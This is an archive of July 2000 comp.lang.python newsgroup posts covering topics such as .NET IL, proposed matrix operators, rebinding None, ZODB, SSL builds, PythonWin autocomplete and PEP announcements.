Message-ID: <JwOc5.4757$4p3.35078@news-server.bigpond.net.au>

> Could someone write a clone of MS's new intermediate compiler language to
> native code compiler in order to write Perl, Python, or Eiffel on
> Windows, compile it to IL, and then eventually native code compile it on
> some other OS platform?

   I think its likely Microsoft will publish enough documentation to make it
possible to write an IL VM for other systems. Microsoft may even make an IL
VM available for other systems with the most likely being MacOS. If this is
going to happen, I'd expect it to be announced at MacWorld this week.

   The question here is to what extent Microsoft wants to beat Java/Sun.
Widespread availability of IL VMs would help this goal, while still allowing
differentiation of the preferred platforms on the basis of which libraries
are available. Microsoft will also have a large lead in designing IL VMs so
will be able to ensure best perfromance is on those preferred platforms.
They can also win on effort applied - when competing with their Java VM
Microsoft achieved very good benchmarks.

> Does anyone think such a capability is a good idea?
> Does anyone think that someone will do this?

   Yes to both.

   Neil







From ghost_man at my-deja.com  Thu Jul 20 13:36:41 2000
From: ghost_man at my-deja.com (ghost_man at my-deja.com)
Date: Thu, 20 Jul 2000 17:36:41 GMT
Subject: searching for multiple strings in one pass
Message-ID: <8l7db8$v3g$1@nnrp1.deja.com>

I am stuck on a problem here where I am using python to grab a large
amount of info from a database.  I am then using python to pass command
line parameters to some program based on file names.  I only want to
run on certain file types such as files ending with .hpp or .cpp or
whatever.  The problem is how can I do searches for multiple file types
in one pass rather than having to run through the entire list several
times?  Here is a sample of how I am doing it now....

hpp = string.find(newline,".hpp")
	if hpp > 0:
		k = (creating argumenthere)
		os.system (k)

How do I check for several file types in one pass?





Sent via Deja.com http://www.deja.com/
Before you buy.


From MarkH at ActiveState.com  Tue Jul 25 20:24:39 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Wed, 26 Jul 2000 00:24:39 GMT
Subject: Type inference for JScript.NET
References: <8lktiq$rgv$14$1@news.t-online.com>
Message-ID: <bdqf5.12041$4p3.93196@news-server.bigpond.net.au>

"Eduard Hiti" <KatMouse at gmx.de> wrote in message
news:8lktiq$rgv$14$1 at news.t-online.com...

> Nice features - leaving the question: will there be something similar
for
> python# | python.NET ?

Dunno - I hope so.  There will definately be some "detection" - ie,
infering so dumb that it shouldn't be called inference!  It is safe to say
that Python .NET could benefit greatly from decent type inference.  I'm
hoping the types-sig discussion on optional type declarations, and related
inference work will revive itself - I'm reluctant to start this sort of
work when it appears the wider Python community is just around the corner
from a concerted effort.

Mark.





From rumjuggler at cryptarchy.org  Fri Jul 28 23:43:38 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 03:43:38 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <8lsqld$hrq$1@newshost.accu.uu.nl>
Message-ID: <82l4osonthc3dopu8s7ddrs7h4cgou1lgf@4ax.com>

On 28 Jul 2000 20:32:45 GMT, m.faassen at vet.uu.nl (Martijn Faassen) wrote:

>>     Shoot yourself with "conversion" or with assignments like this, either way
>> your foot is shot.  I say learn proper gun safty and aim it elsewhere.  ;)
>> Seriously, that isn't to say that None should be restricted from being
>> changed, just, uh, anyone know how to change it back aside from restarting
>> python?  :)
>
>Cute question. Hm.. 
>
>Yes:
>
>None = __builtins__.None
>
>Now for the real problem:
>
>__builtins__.None = 1
>
>Uh oh.

>>> def getnone():
	pass

>>> import __builtin__
>>> __builtin__.None = 1
>>> type(getnone())
<type 'None'>

-- 
Barnabas T. Rumjuggler

A cucumber should be well sliced, and dressed with pepper and vinegar, and
then thrown out, as good for nothing.
 -- Samuel Johnson


From roberto.lupi at galactica.it  Sat Jul  8 08:35:16 2000
From: roberto.lupi at galactica.it (Roberto Lupi)
Date: Sat, 8 Jul 2000 14:35:16 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
References: <00c601bfe812$febfeef0$f0c809c0@lslp7o.lsl.co.uk> <8k4t1u$7fk$1@newshost.accu.uu.nl> <8k5hd8$go8$1@localhost.localdomain>
Message-ID: <MPG.13d13e6e3cafe2f0989697@news.galactica.it>

Although not strictly part of ZODB, I think that ZCatalog and ZClass can 
be used to perform queries and schema evolution.

In article <8k5hd8$go8$1 at localhost.localdomain>, 
fermigier at localhost.localdomain says...
> What I'm missing most from ZODB, and is usually easy to do with an
> object-relational adapter, are queries

ZCatalog

> and a simple way to do schema
> evolutions.

ZClass

-- 
Roberto Lupi


From stuart.hungerford at zveno.com  Sun Jul 30 20:52:01 2000
From: stuart.hungerford at zveno.com (Stuart Hungerford)
Date: Mon, 31 Jul 2000 10:52:01 +1000
Subject: Python plug-ins for Adobe Products available
References: <BvGg5.22$RZ2.62383@news.pacbell.net>
Message-ID: <3984CDB1.11457A59@zveno.com>

Grant Munsey wrote:

> Adobe has opened an open source site at http://opensource.adobe.com.
>
> The first three projects on the site are Python plug-ins for Adobe
> Photoshop,
> Illustrator, and After Effects (Windows only at this point).
>
> The Adobe Open Source license is reasonably liberal.

    I'd like to say a huge "thanks" for this too.  I've been driving
    PageMaker via Python using DDE and started working on using
    Photoshop and InDesign via Python using OLE and the various
    SDK calls, but this approach is a great improvement.

Stu




From just at letterror.com  Wed Jul  5 15:22:05 2000
From: just at letterror.com (Just van Rossum)
Date: Wed, 05 Jul 2000 20:22:05 +0100
Subject: Postscript font metrics?
References: <39622330.3732B225@yahoo.com> <3963368A.8442AD75@bellatlantic.net>
Message-ID: <39638AA5.7C36FD77@letterror.com>

Paul Winkler wrote:
>
> I need to generate some nice Postscript output from a python script,
> and I'm finding that I need to get at the font metrics info from the
> .afm files so I can place things correctly. (Either that or write
> *everything* in postscript -- no way!!)
>
> I can't find anything like this on Parnassus. Anyone ever seen any
> python code that gets the useful info from .afm files?

My (hardly advertized, but free) FontTools package contains an AFM parser:

   http://www.petr.nl/just/FontTools.tar.gz

Sorry, the doco is, erm, somewhat limited ;-)

Just


From ngps at madcap.dyndns.org  Mon Jul 24 10:42:41 2000
From: ngps at madcap.dyndns.org (Ng Pheng Siong)
Date: 24 Jul 2000 14:42:41 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lg7ft$odv$1@nnrp1.deja.com> <397BEAE5.3C1E5151@stroeder.com> <8lh9og$fi5$1@nnrp1.deja.com>
Message-ID: <8lhkl1$oou$1@clematis.singnet.com.sg>

According to  <ryzam at my-deja.com>:
> Yes i have unzip all the m2crypto-005 to "C:\Program Files\Python".What
> version should i run it. I'm using python 1.5.2 on win98

Try this:

/usr/local/home/ngps:$ python
Python 1.5.2 (#1, Sep  4 1999, 15:09:59)  [GCC 2.7.2.1] on freebsd2
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import sys
>>> sys.path
['', '/usr/local/home/ngps/prog/m2', '/usr/local/lib/python1.5/', '/usr/local/lib/python1.5/plat-freebsd2', '/usr/local/lib/python1.5/lib-tk', '/usr/local/lib/python1.5/lib-dynload', '/usr/local/lib/python1.5/site-packages']


What is the output on your computer?

-- 
Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps



From hzhu at localhost.localdomain  Mon Jul 24 00:27:18 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 24 Jul 2000 04:27:18 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com>
Message-ID: <slrn8nnhkb.2qi.hzhu@localhost.localdomain>

On Sat, 22 Jul 2000 01:28:52 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:

>At this point there seems to be main proposals. There are variations
>on these basic themes, but these two capture the main points:

This summary is excellent.

Since (op) has emerged as the clear winner, at least for now, without
sustaining much criticism, I'd like to play antagonist here and prepare some
dead chickens to be thrown on the windshield of this new aircraft.  :-)

>-----------------------------------------------------------------------
>
>Proposal two, which for lack of a better name I'll call Konrad's proposal:
>
>New Operators: (+), (-), (/), (*)[outer], (.)[dot], (|)[solve], (^)[power] 

Minor questions:

1. Is it necessary to distiguish inner and outer?  With Greg's indexing
   rules these are essentially the same.  Six would be enough.

2. What would be the meaning of | and ^ for matrices?  What's the meaning of
   (|) and (^) for numbers?

3. What are the forms of augmented assignments?  (op)= or (op=)

Major questions:

1. Is the justification of (op) form mainly on aesthetic?  Or is it an open
   door for more operator composition within bracket in the future?  If the
   former, is two extra char of bracket justified?  If the latter, do we
   need to discuss what the future extensions might be?

2. Most important: How do real formulas look like?  (See examples below.)

>
>NumPy and MatPy would have that same syntax: the new operators correspond to
>matrix operations in both MatPy and matrix operators in NumPy.

The pain of transition now looks to be smaller than it appeared. A quick
experiment with sed on the MatPy test suite produced this list of problems
(most visible ones):

original                after s/\*/(*)/g; s/\//(\/)/g

"-"*40                  "-"(*)40                # should this work?
from ... import *       from ... import (*)     # can auto correct
1*2*3                   1(*)2(*)3               # this still works
a*2                     a(*)2                   # should this work?
A**2                    a(*)(*)2                # can auto correct
norm(A*A*A/A/(A*A) - eye(3))
                        norm(A(*)A(*)A(/)A(/)(A(*)A) - eye(3))
                                                # works but kinda ugly
def test(a,b,*args)     def test(a,b,(*)args)   # auto correct?

Most of the wrong translations still work or can be avoided by better
translators. Major problem comes from strings (esp regular expressions), but
fortunately regex and matrix tend to live in different modules.  If the
translator can recognize strings it would be mostly fine.

But the main problem of these operators now appears to be that they do not
look as clean in long formulas as they appear indivitually.

Why?  In discussions, the () works as a nice delimiter so (op) appear quite
nice in the text.  But in real codes it interferes with visual parsing of
existing ().

A typical example is the matrix inversion formula, represented as (assuming
| for solve, .I for inverse)

b = a.I - a | u / (c.I + v/a*u) * v / a

b = a.I .- a .| u ./ (c.I .+ v./a.*u) .* v ./ a

b = a.I @- a @| u @/ (c.I @+ v@/a@*u) @* v @/ a

b = a.I (-) a (|) u (/) (c.I (+) v(/)a(*)u) (*) v (/) a

The last one appears least clear, because it is difficult to visually parse
the parenthesis used for precedence.  Fine tuning on spacing and case of
names may offer some relief but the main problem won't go away.

Although this formula might have a bit higher than average complexity,
similar types of formulas occur frequently in various applications.  They
cannot all be put into named functions because there are many variations.

As I see it, the main reason for introducing infix operators is because
otherwise we would have to use either op(a,b) or a.op(b), both of which
introduces parenthesis that clutters the code.  But a(op)b has similar
effects. Although (op) has a very short range, the () can't be readily
distinguished from other usages of () with much longer range.

So it appears ".op" and "(op)" share similar disadvantages:
     ".op"  because "." is numbers, class members, ...
     "(op)" because "()" is precendence (tuples), function arguments, ...
maybe we need to consider "@op" more seriously?

In a divergent thread there are discussions of using "@" as a generic meta
symbol to construct new operators.  I only wish there is another free symbol
that's not as dense.  Well, how about

b = a.I ~- a ~| u ~/ (c.I ~+ v~/a~*u) ~* v ~/ a

It looks the least troublesome to me at the moment.


>Disadvantages:	Unfamiliar Syntax for MatLab users.

This may not be a big problem as syntax can be learned.

More important is if old codes can be used.  If automatic translation can
work 90% of the time it could be more useful than retyping.  If a translator
is wided used its quality is likely to be improved fairly quickly as well.


Huaiyu


From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 23:49:46 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 17 Jul 2000 03:49:46 GMT
Subject: "Intellisense" drop-down...
References: <pbpc5.89249$W35.2041585@news20.bellglobal.com> <osrc5.3577$4p3.27127@news-server.bigpond.net.au> <t_rc5.89902$W35.2063221@news20.bellglobal.com> <iwsc5.3597$4p3.27442@news-server.bigpond.net.au>
Message-ID: <unvc5.91046$W35.2100915@news20.bellglobal.com>

Doh! I didn't know that thing also worked in the interactive window, so I
didn't test it there... <g>

It might be nice if Tab wasn't hardwired to do this and we could pass a
parameter to an event to tell it what to call if the AutoComplete box isn't
opened, like so:

Tab = AutoCompleteOrDo ( IndentSelection )
Space = AutoCompleteOrDo ( AddSpace )
Ctrl+Space = AutoCompleteOrDo ( <<expand-word>> )
etc..etc...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:iwsc5.3597$4p3.27442 at news-server.bigpond.net.au...
> > Here it is, folks, the ability to use another key than TAB to select a
> word
> > in the AutoComplete list:
>
>    I like it - good to see someone new improving PythonWin.
>
>    A small problem with Ctrl+Enter is that it works in the editor but not
> the interactive window.
>
>    Neil
>
>
>




From adetalabi at clara.co.uk  Wed Jul  5 10:01:08 2000
From: adetalabi at clara.co.uk (Ade Talabi)
Date: Wed, 05 Jul 2000 15:01:08 +0100
Subject: Segmentation fault(LINUX) and no idea why!
References: <39632A2C.E6ABECEB@muc.das-werk.de>
Message-ID: <39633FA4.8EBBE2DB@clara.co.uk>

Thomas Thiele wrote:
> 
> Hallo!
> 
> In my program I create a new thread. In this new thread I fork and
> replace the child with an other program
> using excel. Normaly I have up to four threads with this procedure. So I
> have a number of threads and the same numbers of childs (the called
> program)
> 
> The problem is sometimes (relativly seldom, so it's unreproducible ;-( )
> I get a segmantation fault and the pytthon interpreter stops.
> 
> But I if the segmentation fault happens, one of the childs is not
> running anymore. (I don't know is that the reason or a  result)
> A little testprogram with the same construction shows that if a
> segmentaltion fault happens in one child, the parant keeps running.
> I get no traceback from the interpreter.
> 
> My Question is, where can I look for the problem. Why does the
> interpreter (-> the whole program) die.  What can be the reason?


pstack, ptrace or truss  the PID
-- 
/--------------------------------------------------------------\
| Ade  Talabi     | Internet : adetalabi at clara.co.uk           |
|  ::M1ETW::      | Web Page : http://www.net-africa.com       |
\--------------------------------------------------------------/


From thomas at xs4all.net  Fri Jul 21 02:27:53 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Fri, 21 Jul 2000 08:27:53 +0200
Subject: [ANNOUNCE] Python Enhancement Proposals on the Web
In-Reply-To: <39779F05.3181C5E5@schneider-kamp.de>; from peter@schneider-kamp.de on Fri, Jul 21, 2000 at 12:53:25AM +0000
References: <39779F05.3181C5E5@schneider-kamp.de>
Message-ID: <20000721082752.B9897@xs4all.nl>

On Fri, Jul 21, 2000 at 12:53:25AM +0000, Peter Schneider-Kamp wrote:

> The so called PEPs (Python Enhancement Proposals) are now
> available on the web at

> PEPs that already carry some content include:

> 0204  Range Literals                       twouters

Damn, Peter beat me to it ;) This PEP is in first draft, so any and all
comments are welcome. Do people want me to post it here in full glory, or is
the webpage accessible enough ?

Note: I don't think this subject will raise as much discussion as new
operators or the name of a new function ;) but I would prefer it if
discussion was kept at a minimum: I'll try to incorporate all opinions in
the PEP, and I'm certainly not trying to be some kind of spanish
inquisition, but the reason I ask this is very simple: I wouldn't be able to
keep up with the posting frenzy ;-P

But if we can keep it down to, ooh, a hundred or so postings a day, I think
I can manage.... ;P

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From m.faassen at vet.uu.nl  Mon Jul 31 04:14:28 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 08:14:28 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8m25dm$ila$1@newshost.accu.uu.nl> <slrn8o9iuj.i9b.grey@teleute.rpglink.com>
Message-ID: <8m3ch4$hn2$2@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On 30 Jul 2000 21:07:02 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>>print bar

>     This is different than

> bar

Yes, it is; but what the interpreter does is basically put a 'print' for
everything you say.

The point is that you seemed to be saying 'bar' is nothing completely
useless; it's not -- it's a reference to a function object and can be
quite useful.

What our mysterious expression "bar" (quotes not part of it) is, is 
an expression, just like "1 + 1" or "bar()" or "bar(50 * foo())".

I'm not saying this isn't confusing initially; the point is that this is
not just a random weirdness that can easily be fixed (as I and other 
pointed out elsewhere). It's a consequence of a consistency in Python;
*other* expression statements do indeed do useful things.

[snip]
>>And you need to remember what all your operations do to any data type
>>that they may encounter. I don't.

>     I never have yet.  :)

Well, you do, otherwise you can't figure out bugs when you get them,
right?

If you get a mysterious 0, you need to know that this was possible
because somehow a string got involved in your arithmatic expression, right?

>>1 isn't mutable into anything at all either, by the way. Neither are
>>strings. The name 'b' can however be made to point to something else.
>>That is an entirely different thing though, and from the way you're
>>speaking I'm not entirely clear whether you understand this yet.

>     OK, to be strict.  None can't be converted, neither can 1.  For some
> reason, however, b, which was pointing to 1 can be made to point to something
> else which we'll call the integer formerly known as 1 where as None things
> cannot be repointed from.  None is like that really nasy uncle everone has who
> scratches himself in public and has a huge beer belly.  You don't want to
> look, but you are compelled to until the end of time.

That's because you put a None in there in the first place, for some
obscure reason. As soon as you made sure your variable *cannot contain
a None* (and no, you did *not* make sure of this in the regular expression
example you gave, and that's been debated to death already; you have
quite a few alternatives now), you do not have to check until the end
of time. It's not as if 'b' magically can change into something else again
all of a sudden. It only changes into something else if you somehow
made it change (most likely with an assignment).

>     The net result, of course, is that int() can point b to something else in
> some cases and not others, or, in layman's terms, it can convert certain
> things and not others.  However, since the docs for int do state "convert"
> both in the language and in the book I have I don't think it was too bad of me
> to have used that term, no?

No; I just wasn't sure you understood what it meant. You do seem to understand
what's going on behind the scenes, except that you still seem to see
problems that really aren't there. 'b' can't magically change when you
pass it through some function you didn't write, except if you assigned
the outcome to 'b' again. If your function has the chance to return something
else and you don't want 'b' to refer to that, don't do the assignment
(until you made sure of the result, at least).

The nice part comes in when you think a function can only return an
integer and you were wrong (by mistake, or due to some bug in the
function). Python will point out the mistake or bug pretty quickly.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From to_get_my_address at see.my.signature  Thu Jul 27 01:09:22 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 18:09:22 +1300
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <rhtqnsokl1imfpm19rg3r1ep2e1b52vnaq@4ax.com>
Message-ID: <397FC3FD.92EF0A70@see.my.signature>

Toby Dickenson wrote:
> 
> I can see some cases where it would be appealing to implement a
> property access handler in a C extension. Is it worth dedicating a
> slot in PyTypeObject for these things?

I don't think that's necessary, because attribute access
for C objects already goes through a getattr handler in
the type object.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From johannes at zellner.org  Tue Jul  4 21:08:26 2000
From: johannes at zellner.org (Johannes Zellner)
Date: 5 Jul 2000 01:08:26 GMT
Subject: history file
Message-ID: <slrn8m52ka.l0o.johannes@krispc6.physik.uni-karlsruhe.de>

Hello,

is it possible to read and write a history file
(e.g. ~/.python_history) ?

-- 
   Johannes


From wjdandreta at worldnet.att.net  Tue Jul  4 20:22:30 2000
From: wjdandreta at worldnet.att.net (William Dandreta)
Date: Wed, 05 Jul 2000 00:22:30 GMT
Subject: Looking for Python CGI resources
References: <000101bfe5c6$e0e73f80$24b745c6@timaratz>
Message-ID: <adv85.7201$xL3.526766@bgtnsc06-news.ops.worldnet.att.net>

Hi Peter,

I think I read somewhere that the second edition of IPWP is being worked on
and I thought it was to be released this summer.

Bill
Peter Timaratz wrote in message <000101bfe5c6$e0e73f80$24b745c6 at timaratz>...
>I have the book 'Learning Python' and now I'm looking for material oriented
>towards using Python for CGI. The only book that seems to cover this topic
>in any depth is 'Internet Programming With Python' and it is out of print.
>Is there any other CGI material available?
>
>




From whdaffer at earthlink.net  Tue Jul 11 19:54:43 2000
From: whdaffer at earthlink.net (William Daffer)
Date: Tue, 11 Jul 2000 23:54:43 GMT
Subject: python/win9x and contour plots
Message-ID: <m34s5wuxw7.fsf@localhost.localdomain>

  Anyone got a suggestion for the best graphics package for contour
  plotting to use with python on a win9x box? Are there any at all?
  Can they handle irregularly gridded data?

TIA
William
-- 
Ab hoc possum videre domum tuum.
Public Key: http://home.earthlink.net/~whdaffer/#PGP-public-key


From nobody at nowhere.nohow  Fri Jul 28 22:13:11 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 02:13:11 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com><397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com>
Message-ID: <slrn8o4fdm.abr.nobody@isis.visi.com>

In article <slrn8o3m9q.1cq.hzhu at rocket.knowledgetrack.com>, Huaiyu Zhu wrote:

>In python there are objects and there are names.  There are operations that
>act on existing objects and those that create new objects.  These have
>nothing to do with mutability, except that for immutable objects, there are
>no operations acting on existing objects.

Looks like a good description to me.


If you're used to thinking in C, I would describe it as

 1) All variables are pointers.
 
 2) De-referencing is done automatically when you use a variable in any
    context other than as an lvalue.
    
 3) All parameters are passed by value.
 
 4) Many/most operations create a new object and return a pointer to it.
 
 5) Some objects can't be changed after they're created, but some objects
    provide methods you can use to change them.

Does that make sense?    

-- 
Grant Edwards                   grante             Yow!  Being a BALD HERO
                                  at               is almost as FESTIVE as a
                               visi.com            TATTOOED KNOCKWURST.


From fiona at sitegnome.com  Sat Jul 29 10:34:52 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Sun, 30 Jul 2000 00:34:52 +1000
Subject: Python in politics (sssssssssnake!)
References: <Pine.GSO.4.10.10007291308070.20226-100000@sundial>
Message-ID: <3982EB8C.BD6DDE7C@sitegnome.com>

> "Thinking like a computer scientist in Python", available at
> http://yhslug.tux.org.il/obp/

Is this the right URL? My browser is telling me it can't locate the
server..

thanks,

Fiona


From halim at mlcc.com.my  Wed Jul 12 21:45:33 2000
From: halim at mlcc.com.my (halim at mlcc.com.my)
Date: Thu, 13 Jul 2000 01:45:33 -0000
Subject: WBMP 
Message-ID: <8kj6vt+cg6f@eGroups.com>

Hi..

Is there anybody who has worked on wbmp converter image from any other
format in Python? If yes, where can I find it?

Thank you.




From cg at schlund.de  Mon Jul 24 09:49:03 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Mon, 24 Jul 2000 15:49:03 +0200
Subject: Bug in pythondoc?
Message-ID: <397C494F.8EAE58D6@schlund.de>

Hi!
Consider this piece of code:

#!/usr/bin/python
dict = { "a": 1, "b": 2, "c": 3, "d": 4, "e": 5, "f": 6 }
# EOF

Running it through pythondoc 0.7 produces (among other stuff):

dictionary dict = {'a': 1, 'b': 2, 'c': 3, 'd': 4}

I know that pythondoc doesn't print all elements of large structures, but
normally it prints out dots (...)  to indicate there are more than
displayed. What's wrong here?


Regards
Carsten.


From hinsen at cnrs-orleans.fr  Mon Jul 24 06:31:38 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 24 Jul 2000 12:31:38 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <m3zonb7qsf.fsf@chinon.cnrs-orleans.fr> <slrn8nhuks.qn.hzhu@rocket.knowledgetrack.com>
Message-ID: <m3snsz3jlh.fsf@chinon.cnrs-orleans.fr>

hzhu at knowledgetrack.com (Huaiyu Zhu) writes:

> >For "matrix solve", I propose to follow APL and define it in the sense
> >of a least-squares solution, implemented via singular value
> >decomposition (SVD). There are two reasons for this:
> [snip]
> 
> Maybe the algorithm specs should go into the packages instead of operators?
> The same algorithm is unlikely to be optimal for all types of matrix
> classes, sparse, symetric, tridiagonal, complex, positive definite, etc.  If
> these are implemented as subclasses of matrices, should they be allowed to
> choose the algorithm?

Sure, I was thinking about the implementation for plain arrays. Of course
any class can implement any method in any way it likes.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From paul at prescod.net  Fri Jul 21 05:22:45 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 21 Jul 2000 04:22:45 -0500
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l7kkl$2bv$2@gxsn.com>
Message-ID: <39781665.24F4C5B8@prescod.net>

Sean Wilson wrote:
> 
> Hi,
> 
> > From a game programming perspective, you can probably consider Python to
> > be dirt-slow, though. The trade-off is a lot of power for speed, but
> > that power can help you gain back speed because you can be a lot smarter.
> 
> Before I started trying to write my own scripted language I tried to find
> some tutorials and articles on them but couldn't get them anywhere. Someone
> directed me towards python but I couldn't find anything about the virtual
> machine it uses. How does it work and why is it so slow?

I think by now Martijn wishes he had spoken more clearly. Python is only
slow compared to assembly language and C. It is quite reasonable in
performance compared to other scripting languages!!!

Python may be slower than your language because it has more
sophisticated flow control. In particular, Python's function calling and
name lookups are very flexible and not as efficient as in less flexible
languages.

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From johannes at zellner.org  Thu Jul  6 18:46:10 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Fri, 7 Jul 2000 00:46:10 +0200 (CEST)
Subject: eval
Message-ID: <Pine.LNX.4.21.0007070045120.3904-100000@krispc6.physik.uni-karlsruhe.de>

Hi,

how does eval work ?

    eval('print "fred"')

fails.
Or: how do I modify the above statement that it works?

-- 
   Johannes




From bjorn at roguewave.com  Sat Jul 22 11:35:40 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sat, 22 Jul 2000 09:35:40 -0600
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007220929190.6527-100000@sundial>
Message-ID: <3979BF4C.6C60E636@roguewave.com>

Moshe Zadka wrote:
> 
> On Fri, 21 Jul 2000, Gareth McCaughan wrote:
> 
> > Moshe Zadka wrote:
> >
> > > Preventing world war III, when Python achieves world domination.
> > > If C is allowed to achieve world domination, WWIII will be cause by
> > >
> > > if(everything_is_ok = 0) {
> > >     launch_missile();
> > > }
> >
> > No, that will *prevent* WW3 happening when it was supposed to.
> > Where do I sign up for the campaign to help C dominate the
> > world? :-)
> 
> You probably need to reread the condition.

Probably not... Since 0 (zero) is false, and the result of an assignment
expression in the rhs, you would never execute the block...

-b



From lull at acm.org  Tue Jul 18 09:09:12 2000
From: lull at acm.org (John Lull)
Date: 18 Jul 2000 08:09:12 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <39736213.15848862@eecis.udel.edu> <39739291.4155A128@prescod.net>
Message-ID: <g1l8ns009uqt0502v3avkap6j6qjonsc9d@4ax.com>

At the dawn of the third millenium (by the common reckoning), Paul
Prescod <paul at prescod.net> wrote (with possible deletions):

> Look, if you took a poll of all programmers in the world, only a small
> fraction use matrices very often. Therefore it is a niche. Most
> programmers use numbers and strings every day, however.

By that reasoning, cryptography ought not be part of the standard
distribution, either.  Nor should complex numbers.

A very large part of the *reason* it's not used more is that linear
algebra is simply *not* natively available in any common language
other than Matlab.


From huaiyu_zhu at yahoo.com  Wed Jul 19 15:21:37 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Wed, 19 Jul 2000 12:21:37 -0700 (PDT)
Subject: Discussion: Introducing new operators  for  matrix computation
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com>
Message-ID: <Pine.LNX.4.10.10007191217420.887-100000@rocket.knowledgetrack.com>

This is good news!  I'll make a summary of pending issues so we can have a
more focused discussion.

Huaiyu

On Wed, 19 Jul 2000, Tim Peters wrote:

> Sleeping in the same room with Guido for a night did not make it easier to
> channel him, but it did make it easier to cloud his mind:  Guido is not
> opposed to adding new operator symbols to core Python.  As of breakfast
> Tuesday, anyway, and there are witnesses, so he'll have trouble changing his
> mind (well, it will be clumsy for him to *admit* it if he changes his mind
> <wink> ...).
> 
> But but but (you knew it wouldn't be *that* easy!):
> 
> + Everybody concerned that new operators are "not Pythonic" please swallow
> it -- it is Pythonic, cuz Guido said it is <0.9 wink -- but see following
> points too>.  Contribute by helping to come up with a complete and
> Pythonically beautiful implementation instead.
> 
> + Please keep this off of Python-Dev.  Doesn't belong there (at least not
> yet).  Interested parties can form a mailing list, or try to discuss it on
> comp.lang.python (my personal hope is that you try the latter, and stick to
> one Subject line).
> 
> + There *must* be a PEP for this.  Guido won't read any more of the
